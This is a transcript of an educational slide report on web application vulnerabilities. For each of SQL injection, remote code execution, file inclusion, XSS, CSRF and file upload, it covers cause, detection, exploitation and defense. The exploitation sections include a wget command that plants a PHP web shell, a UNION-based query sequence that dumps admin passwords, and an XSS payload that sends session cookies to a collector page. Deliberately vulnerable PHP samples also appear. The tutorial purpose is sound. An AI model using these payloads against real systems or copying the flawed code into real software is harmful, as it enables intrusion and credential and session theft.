web application vulnerabilities: dawn, detection, exploitation and defense

47
1 ABSTRACT Web applications are popular software application types in which the client runs the application stored in server in his/her web browser. The most important think is the developers considers only on their productivity, but fails to provide security. This causes vulnerabilities in web applications. These vulnerabilities not only causes intruders to access servers, but also causes access the clients’ private details. So, the research on the subject `web application’s vulnerabilities` is very important. The top vulnerabilities visible in web applications are Injection vulnerabilities (Remote Code Execution (RCE), SQL Injection (SQLi)), File Inclusion, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Broken Authentication and Session Management, Insecure direct object reference, Unvalidated redirects and forwards, Arbitrary file upload, etc.

Upload: ajith-kp

Post on 23-Jan-2017

357 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

1

ABSTRACTWeb applications are popular software application types in which the client runs the application stored in server in his/her web browser. The most important think is the developers considers only on their productivity, but fails to provide security. This causes vulnerabilities in web applications. These vulnerabilities not only causes intruders to access servers, but also causes access the clients’ private details. So, the research on the subject `web application’s vulnerabilities` is very important. The top vulnerabilities visible in web applications are Injection vulnerabilities (Remote Code Execution (RCE), SQL Injection (SQLi)), File Inclusion, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Broken Authentication and Session Management, Insecure direct object reference, Unvalidated redirects and forwards, Arbitrary file upload, etc.

Page 2: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

2

INTRODUCTIONVulnerabilities in web application may results the stealing of sensitive data and provide unauthorized accesses to the hackers/crackers. According to the survey of web application security firm Acunetix, the 60% of found vulnerabilities affects web applications. According to the security vendor Cenzic, the top vulnerabilities in March 2012 include:Percenta

geVulnerability

37% Cross-site scripting16% SQL injection5% Path disclosure5% Denial-of-service attack4% Arbitrary code execution4% Memory corruption4% Cross-site request forgery5% File inclusion3% Data breach (information disclosure)16% Other, including code injection

According to OWASP, the most efficient way of finding security vulnerabilities in web applications is manual code review. This technique is very time-consuming, requires expert skills, and is prone to overlooked errors. Therefore, security society actively develops automated approaches to finding security vulnerabilities. These approaches can be divided into two wide categories: black-box and white-box testing.

Page 3: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

3

Figure 1: Home page of 0day.today

The above image is the screenshot of website 0day.today, the repository of exploits. If you analyze the verified vulnerability exploits submitted to this website you can recognize how many exploits are releasing daily for newly detected vulnerabilities, it will be a large number. And also recognize most share of exploits are for exploiting web applications including popular frameworks like Wordpress, Drupal, etc.So the, research on web application vulnerability and security is important as well as productivity of applications.

INJECTION VULNERABILITIES

Page 4: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

4

Injection vulnerabilities are most dangerous vulnerability. Injection flaws allow attackers to relay malicious code through an application to another system. These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL (i.e., SQL injection). Whole scripts written in Perl, Python, and other languages can be injected into poorly designed applications and executed. Any time an application uses an interpreter of any type there is a danger of introducing an injection vulnerability.Many web applications use operating system features and external programs to perform their functions. Sendmail is probably the most frequently invoked external program, but many other programs are used as well. When a web application passes information from an HTTP request through as part of an external request, it must be carefully scrubbed. Otherwise, the attacker can inject special (meta) characters, malicious commands, or command modifiers into the information and the web application will blindly pass these on to the external system for execution.SQL injection is a particularly widespread and dangerous form of injection. To exploit a SQL injection flaw, the attacker must find a parameter that the web application passes through to a database. By carefully embedding malicious SQL commands into the content of the parameter, the attacker can trick the web application into forwarding a malicious query to the database. These attacks are not difficult to attempt and more tools are emerging that scan for these flaws. The consequences are particularly damaging, as an attacker can obtain, corrupt, or destroy database contents.Injection vulnerabilities can be very easy to discover and exploit, but they can also be extremely obscure. The consequences of a successful injection attack can also run the entire range of severity, from trivial to complete system compromise or destruction. In any case, the use of external calls is quite widespread, so the likelihood of an application having an injection flaw should be considered high.

REMOTE CODE INJECTION (RCE)Remote Code Injection is the most dangerous and easiest to exploit among other injection vulnerabilities. The RCE allows attacker to execute commands in remote machines including operating system commands. So, this vulnerability makes system in a high risk. This vulnerability also known as arbitrary code injection.

Page 5: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

5

DAWNThe cause of RCE vulnerability is developers careless coding and also unawareness about the danger behind the scene. Example 1:<?php$name = $_GET['name'];system("echo $name") ?>Output

The above code used to read the name of user and show it in the interface. But you can notice the function used to show the name. But, the developer used system() function to show the name. Really, this function is used to execute OS commands. Here, developer executes `echo` command to show the name.

DETECTION

Page 6: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

6

Commonly injection flaws are easy to detect. Because simple alternations on parameters will show the error message or change interface of web page. So, it is clear that symptoms are easy to detect.

The RCE vulnerabilities can be detect by inject commands as parameters of web applications. If the result of command execution shows in the web page we can conclude the web page is vulnerable.The above screen shot shows we have executed `dir` command along with `echo` command.

EXPLOITATIONLike the detection of RCE vulnerability, the exploitation is also very easy. The exploitation can be done the same way we detected the RCE vulnerability, that is, append the commands to the query. It enables intruders to get unauthorized access to remote server which makes high risk.To get access to the server, the intruders uses RAT (Remote Administration Tools). The most popular RATs in PHP are Indrajith Mini Shell, C99, b374k, Mad Spot Shell, etc. Here shows how the hacker downloads the Indrajith Mini Shell from https://packetstormsecurity.com. The Indrajith Mini Shell is located at https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt .

Page 7: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

7

To download remote files, the command `wget` is used. The syntax is,wget Remote_file –O Local_file

Here I have appended the command to the URL,wget https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt -O indr.php

Yeah, we have succeeded, now the file is downloaded locally in the server. Now the intruder can access the server using the RAT.

Page 8: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

8

DEFENSEThe defense against the RCE vulnerability is good coding approach, avoid use of system command functions maximum. Also, another good defense technique is verify the query submitted by user. If any malicious inputs find, remove malicious parts or cancel the job will prevent the hackers/crackers.

SQL INJECTIONSQL Injection (SQLi) is another dangerous injection flaw. Unlike RCE, the SQLi allows intruder to execute SQL queries. A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands

DAWN

Page 9: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

9

The reason behind SQLi is the developers careless coding, the SQL statements must be enclosed carefully, and otherwise the result will be SQLi. The bellow code is vulnerable to SQLi.<?php$id = $_GET['id'];$conn = new mysqli("localhost", "root", "", "items");$res = $conn->query("SELECT * FROM items WHERE id=$id;") or die(mysqli_error($conn));if ($res->num_rows > 0) {

while($r = $res->fetch_assoc()){echo "Your name is ".$r['name'];

}}$conn->close();?>

This code is vulnerable to SQLi because the developers is not validating the `id` query read from URL. So, we can manipulate the `id` and insert new queries to it.Here, I used the query,SELECT * FROM items WHERE id=1

Assume the $id = 1. Now, I’m going to append new query at the end.SELECT * FROM items WHERE id=1 union select 1,@@version

The output of query is,

Page 10: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

10

It is clear that we have append a new query at the end. The same technique is used in SQLi, that is, append new queries at end of. query. If the query successfully executed, we can leak the database including user’s personal information like password, credit card information, etc. So, it is another dangerous vulnerability among others.

DETECTIONLike RCE, SQLi is also easy to detect. The detection can be done by creating errors in SQL queries. In above example, the id attribute expects integer value. To make error, we can append a single quote at end. That is, starting a VARCHAR specification that is not enclosed correctly. The resultant webpage will contain some errors message like: You have an

Page 11: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

11

error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1.

EXPLOITATIONExploiting SQLi is not easy like RCE, because we have to inject queries to it. Here explaining Blind SQLi steps.

STEPSStep 1: Count Number of columns.

To find number of columns we use statement ORDER BY which tells database how to order the result.To count the columns just incrementing the number until we get an error.http://www.site.com/sqli.php?id=1 order by 1 /* <-- no error

http://www.site.com/sqli.php?id=1 order by 2 /* <-- no error

http://www.site.com/sqli.php?id=1 order by 3 /* <-- error (we get message like this Unknown column '3' in 'order clause' or something like that)

That means that it has 2 columns, because we got an error on 3.

Page 12: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

12

Step 2: Find vulnerable column using UNION clause.

To find that, use query,http://www.site.com/sqli.php?id=1 union select 1,2--The web page will show which column is showing.

The webpage show `2`, and it is clear that the column 2 is vulnerable and injectable SQL queries.

Page 13: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

13

Step 3: Finding version of SQL server version and database.

To view which version of SQL server is using, replace `2` with version() or @@version

http://www.site.com/sqli.php?id=1 union select 1,@@version--

The version of server is 5.6.14.To view Database: http://www.site.com/sqli.php?id=1 union select 1,database()--

Page 14: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

14

Step 4: List out tables.

To list out all tables bellow query is used.http://www.site.com/sqli.php?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--

Step 5: Dumping data from specified table.

Here, we have 2 tables: items and admin. The sensitive details may store in admin table. So, let’s dump admin table.First step is get the column names of table admin. To get these details, the bellow query is used.http://www.site.com/sqli.php?id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–The table name `admin` is converted into its ASCII values.The output shows, admin table contains columns uid, uname and password.

Page 15: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

15

The next step is dumping data.http://www.site.com/sqli.php?id=1 union select 1,group_concat(uid, 0x3a, uname, 0x3a, password,0x3b)+from+admin—

The output shows that uid is 1, username is `ajithkp560` and password is `mypasswd`. So, we have successfully dumped the data from database.

Page 16: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

16

DEFENSEThe defense for SQLi is good coding approaches. The good coding approach is use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL queries.

Prepared Statements and Parameterized QueriesA prepared statement is a feature used to execute the same (or similar) SQL statements repeatedly with high efficiency.Prepared statements basically work like this:

1. Prepare: An SQL statement template is created and sent to the database. Certain values are left unspecified, called parameters (labeled "?"). Example: INSERT INTO MyGuests VALUES(?, ?, ?)

2. The database parses, compiles, and performs query optimization on the SQL statement template, and stores the result without executing it

3. Execute: At a later time, the application binds the values to the parameters, and the database executes the statement. The application may execute the statement as many times as it wants with different values

Compared to executing SQL statements directly, prepared statements have two main advantages:

Prepared statements reduces parsing time as the preparation on the query is done only once (although the statement is executed multiple times)

Bound parameters minimize bandwidth to the server as you need send only the parameters each time, and not the whole query

Prepared statements are very useful against SQL injections, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped. If the original statement template is not derived from external input, SQL injection cannot occur.The corrected version of above vulnerable example is,<?php$id = $_GET['id'];$conn = new mysqli("localhost", "root", "", "items");$st = $conn->prepare("SELECT * FROM items where id = ?");$st->bind_param("i", $id);$st->execute();$st->bind_result($id, $name);while($st->fetch()){

Page 17: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

17

echo "Your name is $name";}$conn->close();?>

Now check the how the prepared statement console SQLi. The bellow screenshot shows that intruder is checking the webpage for SQLi and no error message (symptom) showed. So, now the webpage is safe from SQLi.

FILE INCLUSIONFile inclusion is another dangerous vulnerability in web applications which cause inclusion of intruder desired files such as RAT or sensitive files like /etc/passwd, /etc/shadow, etc. This is very dangerous because it is easy to exploit and the intruder will get access to server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file or more serious events such as:

Code execution on the web server Code execution on the client-side such as JavaScript which can lead

to other attacks such as cross site scripting (XSS) Denial of service (DoS) Data theft/manipulation

The file inclusion have two types according to the file can be included.1. Remote File Inclusion: Remote File Inclusion (RFI) is a type of

vulnerability most often found on websites. It allows an attacker to

Page 18: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

18

include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.

2. Local File Inclusion: Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.

DAWNLike other injection flaws, the file inclusion vulnerability also arise due to improper development. The developer should hide the details of including files from user. The vulnerability occurs due to the use of user-supplied input without proper validation. The file inclusion vulnerability is an example of insecure direct object reference. Example: <?php$col = $_GET['color'];include($col);?>

Here, the developer includes a file without proper validation, and it will lead to file inclusion vulnerability.

DETECTIONFile inclusion vulnerability can be detect using change the query value. After altering the query value, the webpage shows some changes, we can declare it is vulnerable to file inclusion.

Page 19: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

19

Figure 2: File inclusion vulnerable webpage

Figure 3: After alter the query

In the above screenshots, we can conclude the webpage is vulnerable to file inclusion.

EXPLOITATIONLike the detection, exploitation also very simple. The exploitation can be done by including malicious webpages or sensitive file into vulnerable page.

Page 20: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

20

RFI Example:

Figure 4: RFI Exploitation

LFI Example:

Figure 5: LFI Example

Page 21: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

21

DEFENSERFI Defense

1. To protect from RFI with simple way edit the php.ini file. Open php.ini in editor. Find allow_url_fopen and allow_url_include and change from on to off. It will resist the page from inclusion of remote page.

2. Next is editing of .htaccess in Apache server. .htaccess file is the configuration file of Apache server.RewriteEngine OnRewriteBase /RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(\?\?)+RewriteRule .* http://www.site.com [R,L]

The above .htaccess configuration will check the query string and if any `http://` or `ftp://` string found in query, redirect to http://www.site.com.

3. Validate the user queries. This is traditional defense mechanism. Validate the user inputs and if malicious query found, cancel the inclusion.

LFI Defense

LFI protection can be achieved through good programming practices. Avoid including files from queries will solve maximum. Also provide a good verifying procedure to verify the queries from user.

CROSS SITE SCRIPTING (XSS)XSS vulnerability is dangerous vulnerability which is harm for clients. That is, it is a client side attacking vulnerability. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

Page 22: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

22

DAWNCross-Site Scripting (XSS) attacks occur when:

Data enters a Web application through an untrusted source, most frequently a web request.

The data is included in dynamic content that is sent to a web user without being validated for malicious content.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Stored and Reflected XSS AttacksXSS attacks can generally be categorized into two categories: stored and reflected. Stored XSS Attacks

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.Reflected XSS Attacks

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

Example:

Page 23: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

23

<?phpsession_start();if(!$_SESSION['name']){

$_SESSION['name']=$_GET['name'];}echo "Hello, ".$_SESSION['name']."<br />";echo 'You searched: '.$_GET['q'];?>

In this example, the query is directly showing in the webpage without any validation. So, this webpage is vulnerable to XSS.

DETECTION XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well. Simply the XSS vulnerabilities are detected by injecting simple script to it and check whether the script is executed or not.Normally, an alert() function is injected.Example. http://site.com/xss.php?name=Ajith&q=<script>alert(‘Ajith’);</script>

In the above screenshot it is clear that the script is injected successfully and executed.

Page 24: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

24

EXPLOITATIONThe exploitation of XSS vulnerability is done by injecting malicious script code into it. Normally XSS vulnerability is used to highjack cookies of users. Now, let’s redirect the user to a malicious script which stores cookie value. To get cookie, inject the script<script>location.href='http://localhost/ajith/cookie.php?cookie='+document.cookie;</script>

In URL Encoded form. That is,%3Cscript%3Elocation.href%3D%27http%3A%2F%2Flocalhost%2Fajith%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E

Figure 6: After redirect

The malicious page have captured the session cookie of user. The next step is cookie poisoning. The Cookies add-ons of Google Chrome is used to edit cookie. Next step is editing session cookie of intruder with the session cookie value of victim (user).That is hkjeeiht0o2mm9g5ssa2fnadi5 with n4u6llvn311fctco07918i58b4.

Page 25: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

25

Figure 7: Intruder's webpage

Figure 8: Editing cookies

After edit, the intruder will refresh the webpage.

Page 26: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

26

Figure 9: Successfully cookies poisoned

Watch the above screenshot, the intruder successfully poisoned cookies and became the user `Ajith`.

DEFENSEDefense against XSS is good coding approaches, that is, do not allow injecting untrusted data into the webpage. Never Insert Untrusted Data Except in Allowed LocationsUntrusted data must not be shown in webpage directly. It will lead to XSS vulnerability.<script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script<!--...NEVER PUT UNTRUSTED DATA HERE...--> inside an HTML comment<div ...NEVER PUT UNTRUSTED DATA HERE...=test /> in an attribute name<NEVER PUT UNTRUSTED DATA HERE... href="/test" /> in a tag name <style>...NEVER PUT UNTRUSTED DATA HERE...</style> directly in CSS

HTML Escape Before Inserting Untrusted Data into HTML Element ContentThe another method to prevent XSS vulnerability is escape the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex

Page 27: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

27

entities is recommended in the spec. In addition to the 5 characters significant in XML (&, <, >, ", '), the forward slash is included as it helps to end an HTML entity. & --> &amp;

< --> &lt;

> --> &gt;

" --> &quot;

' --> &#x27;

/ --> &#x2F;

If the untrusted data are escaped, we can prevent XSS vulnerability successfully.In PHP the function htmlspecialchars() is used to escape the untrusted data.The secured code of above XSS vulnerable example is,<?phpsession_start();if(!$_SESSION['name']){

$_SESSION['name']=htmlspecialchars($_GET['name']);}echo "Hello, ".$_SESSION['name']."<br />";echo 'You searched: '.htmlspecialchars($_GET['q']);?>

Page 28: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

28

CROSS-SITE REQUEST FORGERY (CSRF)Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

DAWNThe reason behind CSRF is accepting non validated data requests received. Most of developers are unaware of CSRF because it is not a popular vulnerability among other dangerous vulnerabilities. Because, the hacker/cracker cannot get access to server nor client, but can do some jobs by the client in server. This vulnerability will become most dangerous when the websites like online banking, online market, etc. websites are vulnerable to CSRF. The hacker/cracker can transfer money or buy thing using the CSRF vulnerability.<?phpsession_start();if($_SESSION['name']){

?><form method="post" action="?"><textarea name='msg'></textarea><br/><input type="submit" value="send" /></form><?php

}if(isset($_REQUEST['msg'])){

echo $_SESSION['name'].": ".$_REQUEST['msg'];}?>

In above example, the webpage is created to print the data send by user to the server.

Page 29: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

29

IDENTIFICATIONThe CSRF can be detect by sending requests created manually to the preferred webpage. If the webpage responds to the request, the webpage is vulnerable to CSRF. To check this, we can use Live HTTP Headers, an add-ons of Mozilla Firefox. It is very popular among hackers/crackers because altering headers are important steps in many vulnerability exploitations.

Figure 10: Before sending data through Live HTTP Headers.

Page 30: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

30

Figure 11: After sending data through Live HTTP Headers

From the image we can declare that we have successfully send new data through the Live HTTP Headers and the webpage respond to the data we have send.

EXPLOITATIONMost commonly the exploitations are done by cheating clients by hiding forms, or automatic form submitter. A sample malicious code which will submit message to the above form is bellow,<html><header><title>Get Avast! Key</title></header><body><form method="post" action="http://localhost/ajith/csrf.php"><input name="msg" type="hidden" value="I hacked you" /><input type="submit" value="Generate Avast! Key" /></form></body>

Page 31: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

31

</html>

Figure 12: Malicious webpage with hidden from

The above page is just a fake page which says it will give you Avast! Antivirus serial key. But really, if you click the button the hidden form will submit to the page csrf.php page. Also notice that, the form is not in the same domain where csrf.php lies.We can check out what will happen if user clicked on the button.

Figure 13: The form is submitted to csrf.php as the user Ajith

Page 32: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

32

Look the above screenshot, the victim have submitted the form with message `I hacked you` without concern of victim. The CSRF vulnerability will become more malicious when the website is of online banking or online trading. Hope you understand why this is saying.

DEFENSEThe defense of CSRF is done by following ways.

Using a secret cookieRemember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

Only accepting POST requestsApplications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious POST request, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted on the attacker's website composed entirely of hidden fields. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.

Use GET requests only for retrieve data, not for manipulate any data in serverThe GET requests can be come from any website because it will be shown I URL bar of web browser and can be copy to share. So, use the GET requests only for retrieve data and not used for manipulate any data stored in server.

Server side protectionAnother defending way is use WAF (Web Application Firewall) to verify the requests came to server. Today most of frameworks provide the CSRF security. The framework like Code Igniter (PHP), Ruby on Rails (Ruby), Django (Python) provides security against CSRF.

Page 33: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

33

BROKEN AUTHENTICATION AND SESSIONMANAGEMENTBroken authentication and session management is common vulnerabilities that appears on applications developed by newbie developers. Commonly this type of vulnerabilities arise when the developer authenticates user only on the login page and in other pages forgets to verify the user.

DAWNThe broken authentication and session management is arise due to development of application by inexperience developers and also due to provide authentication in important pages. Also another important weakness is improper session management. If the sessions are showing in public, like showing it in URL also will lead to broken authentication.A common example of broken authentication is, in a website of project management system, manager can login through login_manager.php, and after login he will redirect to home_manager.php. The developer verifies username and password in the page login_manager.php and if login successful, he will redirect to home_manager.php, where he avoids verification of user who opened the page. So, anyone can open home_manager.php page directly without login. The broken authentication and session management will become more dangerous when the page which does not verify the user have right to upload new files and edit data stored in server.

DETECTIONIt is very easy to identify. Check whether the page which will open after login can open directly without login.

EXLOITATIONThe exploitation have the same step of detection. If the intruder can open the sensitive important webpage without login, he can manage or get information stored in that webpage. Also, if that page allows to edit, delete, create or upload data the vulnerability will become evil.

DEFENCE

Page 34: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

34

Defense for the broken authentication and session management is good development practices. If authentication needed, provide authentication procedure and if any unauthenticated request to the webpage comes avoid responding to the requests. Also handle the sessions with care. Do not make session values public, if it shows in public, the sessions may high jacked just like showed in exploitation of XSS.

INSECURE DIRECT OBJECT REFERENCEInsecure direct object reference can be originate in many ways. We have discussed about file inclusion vulnerability which is an example of insecure direct object reference.

DAWNThe insecure direct object reference vulnerability is originates because of improper programming practices. The developer must not use the objects directly for sensitive purposes. While talking about file inclusion, the vulnerability is occurred because of including file directly from the query. Like that when using direct objects the developer must consider all probabilities of misusing it.<?php$user = $_GET['user'];$conn = new mysqli("localhost", "root", "", "items");$st = $conn->prepare("SELECT * FROM users where uname = ?");$st->bind_param("s", $user);$st->execute();$st->bind_result($uname, $name, $address);while($st->fetch()){

echo "Hello, ".$name."<br/>Your username is ".$uname."<br/>Address is ".$address;}$conn->close();?> Here the username is taking directly and do not verify the user.

Page 35: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

35

Figure 14: User viewing profile

EXPLOITATIONThe exploitation of insecure direct object reference vulnerability is done by changing the values of direct objects and if the webpage responds with direct object’s values maliciously, the vulnerability may cause data expose and like file inclusion vulnerabilities will cause getting access to server. The above example can be exploit using change the query `name`’s value.

Page 36: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

36

The previous screenshot shows details of another user, which is processed without proper validation.

UNVALIDATED REDIRECTS ANDFORWARDSThis is not a serious vulnerability to the server, but it may tricked to the users by phishing, cheating forms, etc. So, the developer must care about unvalidated redirects and forwards.

DAWNLike other vulnerability this vulnerability too appears because of improper development practices. This is another example of insecure direct object reference. Because the univalidated redirection occurs because of hacker/cracker can include the redirecting path directly to the webpage through queries.Example:<?php$url = $_GET['url'];header("Location: $url");?>

The above example webpage code will redirect the user to the webpage specified by the query `url` without any validations.

EXPLOITATIONThe unvalidated redirections and forwards can be exploited by redirecting user to the phishing page or any other malicious webpages. In the above example we can redirect the user by giving link,http://www.site.com/redirect.php?url=http://malicioussite.com/maliciouspage.phpIf the user opened the above URL, the user will redirect without any validation to the page http://malicioussite.com/maliciouspage.php.

DEFENSEThe defense against unvalidated redirects and forwards are just provide validation procedure before redirected to the webpage. The access checking is better way to validate the redirection URL. Before redirect

Page 37: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

37

check to ensure the user is authorized for the requested object. Also we can use the same mechanism we have used to defend CSRF vulnerability, that is, use a token to verify the real user is requested the redirection.

ARBITRARY FILE UPLOADThis vulnerability also known as unrestricted file upload vulnerability. Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.There are really two classes of problems here. The first is with the file metadata, like the path and file name. These are generally provided by the transport, such as HTTP multi-part encoding. This data may trick the application into overwriting a critical file or storing the file in a bad location. You must validate the metadata extremely carefully before using it.The other class of problem is with the file size or content. The range of problems here depends entirely on what the file is used for. See the examples below for some ideas about how files might be misused. To protect against this type of attack, you should analyze everything your application does with files and think carefully about what processing and interpreters are involved.

DAWNThe vulnerability arise due to allow users to upload any type of files without any validations. <form method="POST" enctype="multipart/form-data"><input type="file" name="ufile" /><input type="submit" name="upl" value="UPLOAD" /></form><?phpif(isset($_REQUEST['upl'])){

if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){

echo "You have uploaded: ".$_FILES['ufile']['name'];}

}

Page 38: WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

38

?>

The above code is an example of arbitrary file upload vulnerability, because it allows upload any file including executable server files.

EXPLOITATIONThe exploitation of this vulnerability include uploading files which can be used to attack the platforms like PHP, JSP, ASP, etc. That is upload the RATs. Also, the hacker/cracker can upload malicious executable files like Trojans and can made users to download and execute the Trojans.

Attacks on application platform Upload .php file into web tree – php code executed as web user Upload .gif to be resized - image library flaw exploited Upload huge files - file space denial of service Upload file using malicious path or name - overwrite critical file Upload file containing personal data - other users access it Upload file containing "tags" - tags get executed as part of being

"included" in a web page

Attacks on other systems Upload .exe file into web tree - victims download trojaned

executable Upload virus infected file - victims' machines infected Upload .html file containing script - victim experiences Cross-site

Scripting (XSS)

DEFENSEThe defense can be done by validate the uploaded files. Validate the uploaded files including extension and size. Also, the checking of metadata will prevent some bypass techniques.Example:<form method="POST" enctype="multipart/form-data"><input type="file" name="ufile" /><input type="submit" name="upl" value="UPLOAD" /></form><?phpif(isset($_REQUEST['upl'])){

